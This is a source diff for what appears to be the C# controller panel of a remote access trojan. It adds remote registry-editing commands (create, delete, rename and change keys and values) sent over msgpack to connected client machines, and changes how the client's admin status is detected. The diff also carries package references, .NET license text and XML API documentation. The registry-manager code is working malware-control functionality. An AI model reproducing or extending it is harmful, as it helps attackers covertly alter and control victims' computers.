msgpack.ForcePathObject("Command").AsString = "CreateRegistryKey";
msgpack.ForcePathObject("ParentPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
@ -603,11 +553,10 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "deleteRegistryKey";
msgpack.ForcePathObject("Command").AsString = "DeleteRegistryKey";
msgpack.ForcePathObject("KeyName").AsString = tvRegistryDirectory.SelectedNode.Name;
msgpack.ForcePathObject("ParentPath").AsString = parentPath;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
//DeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name);
}
}
@ -624,7 +573,12 @@ namespace Server.Forms
if (tvRegistryDirectory.SelectedNode != null)
{
// request the creation of a new Registry value of type REG_SZ
//CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.String);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue";
msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
msgpack.ForcePathObject("Kindstring").AsString = "1";//RegistryValueKind.String
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
@ -633,7 +587,12 @@ namespace Server.Forms
if (tvRegistryDirectory.SelectedNode != null)
{
// request the creation of a new Registry value of type REG_BINARY
//CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.Binary);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue";
msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
msgpack.ForcePathObject("Kindstring").AsString = "3";//RegistryValueKind.Binary
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
@ -642,7 +601,12 @@ namespace Server.Forms
if (tvRegistryDirectory.SelectedNode != null)
{
// request the creation of a new Registry value of type REG_DWORD
//CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.DWord);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue";
msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
msgpack.ForcePathObject("Kindstring").AsString = "4";//RegistryValueKind.DWord
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
@ -651,7 +615,12 @@ namespace Server.Forms
if (tvRegistryDirectory.SelectedNode != null)
{
// request the creation of a new Registry value of type REG_QWORD
//CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.QWord);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue";
msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
msgpack.ForcePathObject("Kindstring").AsString = "11";//RegistryValueKind.QWord
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
@ -660,7 +629,12 @@ namespace Server.Forms
if (tvRegistryDirectory.SelectedNode != null)
{
// request the creation of a new Registry value of type REG_MULTI_SZ
//CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.MultiString);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue";
msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
msgpack.ForcePathObject("Kindstring").AsString = "7";//RegistryValueKind.MultiString
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
@ -669,7 +643,12 @@ namespace Server.Forms
if (tvRegistryDirectory.SelectedNode != null)
{
// request the creation of a new Registry value of type REG_EXPAND_SZ
//CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,RegistryValueKind.ExpandString);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "CreateRegistryValue";
msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
msgpack.ForcePathObject("Kindstring").AsString = "2";//RegistryValueKind.ExpandString
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
@ -691,7 +670,12 @@ namespace Server.Forms
if (item.GetType() == typeof(RegistryValueLstItem))
{
RegistryValueLstItem registryValue = (RegistryValueLstItem) item;
//DeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registryValue.RegName);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "DeleteRegistryValue";
msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
msgpack.ForcePathObject("ValueName").AsString = registryValue.RegName;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
}
@ -780,6 +764,12 @@ namespace Server.Forms
if (frm.ShowDialog() == DialogResult.OK)
{
//ChangeRegistryValue(keyPath, (RegValueData) frm.Tag);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "ChangeRegistryValue";
//msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
//msgpack.ForcePathObject("Kindstring").AsString = "11";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
}
@ -790,7 +780,7 @@ namespace Server.Forms
{
try
{
if (!Client.TcpClient.Connected) this.Close();
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
}

View File

@ -125,7 +125,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
BwAAAk1TRnQBSQFMAwEBAAFoAQUBaAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
BwAAAk1TRnQBSQFMAwEBAAF4AQUBeAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm
@ -169,7 +169,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
CQAAAk1TRnQBSQFMAgEBAgEAAYgBBAGIAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
CQAAAk1TRnQBSQFMAgEBAgEAAZgBBAGYAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA

View File

@ -36,11 +36,8 @@ namespace Server.Handle_Packet
}
catch { }
}
if (unpack_msgpack.ForcePathObject("User").AsString.ToLower() =="user")
{
client.Admin = false;
}
else
client.Admin = false;
if (unpack_msgpack.ForcePathObject("Admin").AsString.ToLower() !="user")
{
client.Admin = true;
}

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using Microsoft.Win32;
using ProtoBuf;
using Server.Connection;
using Server.Forms;
using Server.Helper;
@ -17,7 +18,7 @@ namespace Server.Handle_Packet
{
class HandleRegManager
{
public async void RegManager(Clients client, MsgPack unpack_msgpack)
public void RegManager(Clients client, MsgPack unpack_msgpack)
{
try
{
@ -25,7 +26,7 @@ namespace Server.Handle_Packet
{
case "setClient":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
if (FM.Client == null)
@ -37,6 +38,20 @@ namespace Server.Handle_Packet
}
break;
}
case "CreateKey":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string ParentPath = unpack_msgpack.ForcePathObject("ParentPath").AsString;
byte[] Matchbyte = unpack_msgpack.ForcePathObject("Match").GetAsBytes();
FM.CreateNewKey(ParentPath, DeSerializeMatch(Matchbyte));
}
break;
}
case "LoadKey":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
@ -45,26 +60,144 @@ namespace Server.Handle_Packet
string rootKey = unpack_msgpack.ForcePathObject("RootKey").AsString;
byte[] Matchesbyte = unpack_msgpack.ForcePathObject("Matches").GetAsBytes();
//BinaryFormatter formatter = new BinaryFormatter();
//MemoryStream mStream = new MemoryStream();
//mStream.Write(Matchesbyte, 0, Matchesbyte.Length);
//mStream.Flush();
//mStream.Seek(0, SeekOrigin.Begin);
//RegistrySeeker seeker;
//seeker = DeSerialize(Matchesbyte);
FM.AddKeys(rootKey, DeSerialize(Matchesbyte));
FM.AddKeys(rootKey, DeSerializeMatches(Matchesbyte));
}
break;
}
case "DeleteKey":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string rootKey = unpack_msgpack.ForcePathObject("ParentPath").AsString;
string subkey = unpack_msgpack.ForcePathObject("KeyName").AsString;
FM.DeleteKey(rootKey, subkey);
}
break;
}
case "RenameKey":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string rootKey = unpack_msgpack.ForcePathObject("rootKey").AsString;
string oldName = unpack_msgpack.ForcePathObject("oldName").AsString;
string newName = unpack_msgpack.ForcePathObject("newName").AsString;
FM.RenameKey(rootKey, oldName, newName);
}
break;
}
case "CreateValue":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString;
string Kindstring = unpack_msgpack.ForcePathObject("Kindstring").AsString;
string newKeyName = unpack_msgpack.ForcePathObject("newKeyName").AsString;
RegistryValueKind Kind = RegistryValueKind.None;
switch (Kindstring)
{
case "-1":
{
Kind = RegistryValueKind.None;
break;
}
case "0":
{
Kind = RegistryValueKind.Unknown;
break;
}
case "1":
{
Kind = RegistryValueKind.String;
break;
}
case "2":
{
Kind = RegistryValueKind.ExpandString;
break;
}
case "3":
{
Kind = RegistryValueKind.Binary;
break;
}
case "4":
{
Kind = RegistryValueKind.DWord;
break;
}
case "7":
{
Kind = RegistryValueKind.MultiString;
break;
}
case "11":
{
Kind = RegistryValueKind.QWord;
break;
}
}
RegValueData regValueData = new RegValueData();
regValueData.Name = newKeyName;
regValueData.Kind = Kind;
regValueData.Data = new byte[] { };
FM.CreateValue(keyPath, regValueData);
}
break;
}
case "DeleteValue":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString;
string ValueName = unpack_msgpack.ForcePathObject("ValueName").AsString;
FM.DeleteValue(keyPath, ValueName);
}
break;
}
case "RenameValue":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString;
string OldValueName = unpack_msgpack.ForcePathObject("OldValueName").AsString;
string NewValueName = unpack_msgpack.ForcePathObject("NewValueName").AsString;
FM.RenameValue(keyPath, OldValueName, NewValueName);
}
break;
}
case "ChangeValue":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString;
byte[] RegValueDatabyte = unpack_msgpack.ForcePathObject("Value").GetAsBytes();
FM.ChangeValue(keyPath, DeSerializeRegValueData(RegValueDatabyte));
}
break;
}
}
}
catch { }
}
public static RegSeekerMatch[] DeSerialize(byte[] bytes)
public static RegSeekerMatch[] DeSerializeMatches(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream(bytes))
{
@ -72,5 +205,22 @@ namespace Server.Handle_Packet
return Matches;
}
}
public static RegSeekerMatch DeSerializeMatch(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream(bytes))
{
RegSeekerMatch Match = Serializer.Deserialize<RegSeekerMatch>(ms);
return Match;
}
}
public static RegValueData DeSerializeRegValueData(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream(bytes))
{
RegValueData Value = Serializer.Deserialize<RegValueData>(ms);
return Value;
}
}
}
}

View File

@ -113,6 +113,9 @@
</Reference>
<Reference Include="System.Runtime.Serialization" />
<Reference Include="System.ServiceModel" />
<Reference Include="System.Threading.Thread, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Threading.Thread.4.3.0\lib\net46\System.Threading.Thread.dll</HintPath>
</Reference>
<Reference Include="System.Web" />
<Reference Include="System.Web.Extensions" />
<Reference Include="System.Xml.Linq" />

View File

@ -12,5 +12,6 @@
<package id="System.Memory" version="4.5.4" targetFramework="net461" />
<package id="System.Numerics.Vectors" version="4.5.0" targetFramework="net461" />
<package id="System.Runtime.CompilerServices.Unsafe" version="4.5.3" targetFramework="net461" />
<package id="System.Threading.Thread" version="4.3.0" targetFramework="net461" />
<package id="Vestris.ResourceLib" version="2.1.0" targetFramework="net46" />
</packages>

Binary file not shown.

View File

@ -0,0 +1,31 @@
This Microsoft .NET Library may incorporate components from the projects listed
below. Microsoft licenses these components under the Microsoft .NET Library
software license terms. The original copyright notices and the licenses under
which Microsoft received such components are set forth below for informational
purposes only. Microsoft reserves all rights not expressly granted herein,
whether by implication, estoppel or otherwise.
1. .NET Core (https://github.com/dotnet/core/)
.NET Core
Copyright (c) .NET Foundation and Contributors
The MIT License (MIT)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,128 @@
MICROSOFT SOFTWARE LICENSE TERMS
MICROSOFT .NET LIBRARY
These license terms are an agreement between Microsoft Corporation (or based on where you live, one of its affiliates) and you. Please read them. They apply to the software named above, which includes the media on which you received it, if any. The terms also apply to any Microsoft
· updates,
· supplements,
· Internet-based services, and
· support services
for this software, unless other terms accompany those items. If so, those terms apply.
BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE.
IF YOU COMPLY WITH THESE LICENSE TERMS, YOU HAVE THE PERPETUAL RIGHTS BELOW.
1. INSTALLATION AND USE RIGHTS.
a. Installation and Use. You may install and use any number of copies of the software to design, develop and test your programs.
b. Third Party Programs. The software may include third party programs that Microsoft, not the third party, licenses to you under this agreement. Notices, if any, for the third party program are included for your information only.
2. ADDITIONAL LICENSING REQUIREMENTS AND/OR USE RIGHTS.
a. DISTRIBUTABLE CODE. The software is comprised of Distributable Code. “Distributable Code” is code that you are permitted to distribute in programs you develop if you comply with the terms below.
i. Right to Use and Distribute.
· You may copy and distribute the object code form of the software.
· Third Party Distribution. You may permit distributors of your programs to copy and distribute the Distributable Code as part of those programs.
ii. Distribution Requirements. For any Distributable Code you distribute, you must
· add significant primary functionality to it in your programs;
· require distributors and external end users to agree to terms that protect it at least as much as this agreement;
· display your valid copyright notice on your programs; and
· indemnify, defend, and hold harmless Microsoft from any claims, including attorneys fees, related to the distribution or use of your programs.
iii. Distribution Restrictions. You may not
· alter any copyright, trademark or patent notice in the Distributable Code;
· use Microsofts trademarks in your programs names or in a way that suggests your programs come from or are endorsed by Microsoft;
· include Distributable Code in malicious, deceptive or unlawful programs; or
· modify or distribute the source code of any Distributable Code so that any part of it becomes subject to an Excluded License. An Excluded License is one that requires, as a condition of use, modification or distribution, that
· the code be disclosed or distributed in source code form; or
· others have the right to modify it.
3. SCOPE OF LICENSE. The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not
· work around any technical limitations in the software;
· reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits, despite this limitation;
· publish the software for others to copy;
· rent, lease or lend the software;
· transfer the software or this agreement to any third party; or
· use the software for commercial software hosting services.
4. BACKUP COPY. You may make one backup copy of the software. You may use it only to reinstall the software.
5. DOCUMENTATION. Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes.
6. EXPORT RESTRICTIONS. The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see www.microsoft.com/exporting.
7. SUPPORT SERVICES. Because this software is “as is,” we may not provide support services for it.
8. ENTIRE AGREEMENT. This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services.
9. APPLICABLE LAW.
a. United States. If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort.
b. Outside the United States. If you acquired the software in any other country, the laws of that country apply.
10. LEGAL EFFECT. This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.
11. DISCLAIMER OF WARRANTY. THE SOFTWARE IS LICENSED “AS-IS.” YOU BEAR THE RISK OF USING IT. MICROSOFT GIVES NO EXPRESS WARRANTIES, GUARANTEES OR CONDITIONS. YOU MAY HAVE ADDITIONAL CONSUMER RIGHTS OR STATUTORY GUARANTEES UNDER YOUR LOCAL LAWS WHICH THIS AGREEMENT CANNOT CHANGE. TO THE EXTENT PERMITTED UNDER YOUR LOCAL LAWS, MICROSOFT EXCLUDES THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
FOR AUSTRALIA YOU HAVE STATUTORY GUARANTEES UNDER THE AUSTRALIAN CONSUMER LAW AND NOTHING IN THESE TERMS IS INTENDED TO AFFECT THOSE RIGHTS.
12. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. YOU CAN RECOVER FROM MICROSOFT AND ITS SUPPLIERS ONLY DIRECT DAMAGES UP TO U.S. $5.00. YOU CANNOT RECOVER ANY OTHER DAMAGES, INCLUDING CONSEQUENTIAL, LOST PROFITS, SPECIAL, INDIRECT OR INCIDENTAL DAMAGES.
This limitation applies to
· anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and
· claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law.
It also applies even if Microsoft knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.
Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French.
Remarque : Ce logiciel étant distribué au Québec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en français.
EXONÉRATION DE GARANTIE. Le logiciel visé par une licence est offert « tel quel ». Toute utilisation de ce logiciel est à votre seule risque et péril. Microsoft naccorde aucune autre garantie expresse. Vous pouvez bénéficier de droits additionnels en vertu du droit local sur la protection des consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualité marchande, dadéquation à un usage particulier et dabsence de contrefaçon sont exclues.
LIMITATION DES DOMMAGES-INTÉRÊTS ET EXCLUSION DE RESPONSABILITÉ POUR LES DOMMAGES. Vous pouvez obtenir de Microsoft et de ses fournisseurs une indemnisation en cas de dommages directs uniquement à hauteur de 5,00 $ US. Vous ne pouvez prétendre à aucune indemnisation pour les autres dommages, y compris les dommages spéciaux, indirects ou accessoires et pertes de bénéfices.
Cette limitation concerne :
· tout ce qui est relié au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et
· les réclamations au titre de violation de contrat ou de garantie, ou au titre de responsabilité stricte, de négligence ou dune autre faute dans la limite autorisée par la loi en vigueur.
Elle sapplique également, même si Microsoft connaissait ou devrait connaître léventualité dun tel dommage. Si votre pays nautorise pas lexclusion ou la limitation de responsabilité pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou lexclusion ci-dessus ne sappliquera pas à votre égard.
EFFET JURIDIQUE. Le présent contrat décrit certains droits juridiques. Vous pourriez avoir dautres droits prévus par les lois de votre pays. Le présent contrat ne modifie pas les droits que vous confèrent les lois de votre pays si celles-ci ne le permettent pas.

View File

@ -0,0 +1,157 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>Represents the method that executes on a <see cref="T:System.Threading.Thread" />.</summary>
<param name="obj">An object that contains data for the thread procedure.</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>Creates and controls a thread, sets its priority, and gets its status. To browse the .NET Framework source code for this type, see the Reference Source.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>Initializes a new instance of the <see cref="T:System.Threading.Thread" /> class, specifying a delegate that allows an object to be passed to the thread when the thread is started.</summary>
<param name="start">A delegate that represents the methods to be invoked when this thread begins executing. </param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>Initializes a new instance of the <see cref="T:System.Threading.Thread" /> class.</summary>
<param name="start">A <see cref="T:System.Threading.ThreadStart" /> delegate that represents the methods to be invoked when this thread begins executing. </param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>Gets the currently running thread.</summary>
<returns>A <see cref="T:System.Threading.Thread" /> that is the representation of the currently running thread.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>Gets a value indicating the execution status of the current thread.</summary>
<returns>true if this thread has been started and has not terminated normally or aborted; otherwise, false.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>Gets or sets a value indicating whether or not a thread is a background thread.</summary>
<returns>true if this thread is or is to become a background thread; otherwise, false.</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>Blocks the calling thread until a thread terminates, while continuing to perform standard COM and SendMessage pumping.</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
<summary>Blocks the calling thread until a thread terminates or the specified time elapses, while continuing to perform standard COM and SendMessage pumping.</summary>
<returns>true if the thread has terminated; false if the thread has not terminated after the amount of time specified by the <paramref name="millisecondsTimeout" /> parameter has elapsed.</returns>
<param name="millisecondsTimeout">The number of milliseconds to wait for the thread to terminate. </param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>Gets a unique identifier for the current managed thread. </summary>
<returns>An integer that represents a unique identifier for this managed thread.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>Gets or sets the name of the thread.</summary>
<returns>A string containing the name of the thread, or null if no name was set.</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>Suspends the current thread for the specified number of milliseconds.</summary>
<param name="millisecondsTimeout">The number of milliseconds for which the thread is suspended. If the value of the <paramref name="millisecondsTimeout" /> argument is zero, the thread relinquishes the remainder of its time slice to any thread of equal priority that is ready to run. If there are no other threads of equal priority that are ready to run, execution of the current thread is not suspended. </param>
<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>Suspends the current thread for the specified amount of time.</summary>
<param name="timeout">The amount of time for which the thread is suspended. If the value of the <paramref name="millisecondsTimeout" /> argument is <see cref="F:System.TimeSpan.Zero" />, the thread relinquishes the remainder of its time slice to any thread of equal priority that is ready to run. If there are no other threads of equal priority that are ready to run, execution of the current thread is not suspended. </param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>Causes the operating system to change the state of the current instance to <see cref="F:System.Threading.ThreadState.Running" />.</summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>Causes the operating system to change the state of the current instance to <see cref="F:System.Threading.ThreadState.Running" />, and optionally supplies an object containing data to be used by the method the thread executes.</summary>
<param name="parameter">An object that contains data to be used by the method the thread executes.</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>Gets a value containing the states of the current thread.</summary>
<returns>One of the <see cref="T:System.Threading.ThreadState" /> values indicating the state of the current thread. The initial value is Unstarted.</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>Represents the method that executes on a <see cref="T:System.Threading.Thread" />.</summary>
